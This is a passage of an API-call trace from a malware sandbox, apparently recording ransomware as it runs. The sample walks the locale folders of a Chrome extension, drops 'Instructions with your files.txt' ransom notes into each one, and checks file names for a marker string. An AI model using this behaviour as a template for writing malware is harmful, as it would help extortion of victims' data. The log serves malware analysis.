[0129.815] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.815] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\Instructions with your files.txt") returned 177
[0129.815] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.816] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.817] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.817] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.817] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.817] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.817] CloseHandle (hObject=0x134) returned 1
[0129.817] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.817] GetProcessHeap () returned 0x810000
[0129.817] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.817] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0129.817] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW") returned 144
[0129.817] GetProcessHeap () returned 0x810000
[0129.817] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.817] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*") returned 146
[0129.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.818] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\.") returned 146
[0129.818] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.818] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\..") returned 147
[0129.818] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.818] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 158
[0129.818] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.818] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.819] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 177
[0129.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.819] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.820] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.820] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.820] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.820] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.820] CloseHandle (hObject=0x134) returned 1
[0129.820] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.820] GetProcessHeap () returned 0x810000
[0129.820] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.820] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 1
[0129.820] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu") returned 141
[0129.820] GetProcessHeap () returned 0x810000
[0129.820] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.820] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*") returned 143
[0129.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.821] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\.") returned 143
[0129.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.821] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\..") returned 144
[0129.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.821] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 155
[0129.821] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.821] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\Instructions with your files.txt") returned 174
[0129.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.821] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.822] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.823] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.823] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.823] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.823] CloseHandle (hObject=0x134) returned 1
[0129.823] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.823] GetProcessHeap () returned 0x810000
[0129.823] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.823] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 0
[0129.823] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\Instructions with your files.txt") returned 171
[0129.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.823] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.824] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.824] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.824] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.825] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.825] CloseHandle (hObject=0x130) returned 1
[0129.825] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.825] GetProcessHeap () returned 0x810000
[0129.825] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.825] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0129.825] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata") returned 139
[0129.825] GetProcessHeap () returned 0x810000
[0129.825] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.825] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*") returned 141
[0129.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.826] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\.") returned 141
[0129.826] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.826] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\..") returned 142
[0129.826] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8636e710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
[0129.826] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 160
[0129.826] StrStrIW (lpFirst="computed_hashes.json", lpSrch="SDfghjkl") returned 0x0
[0129.826] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x4454, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0129.826] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json") returned 162
[0129.826] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
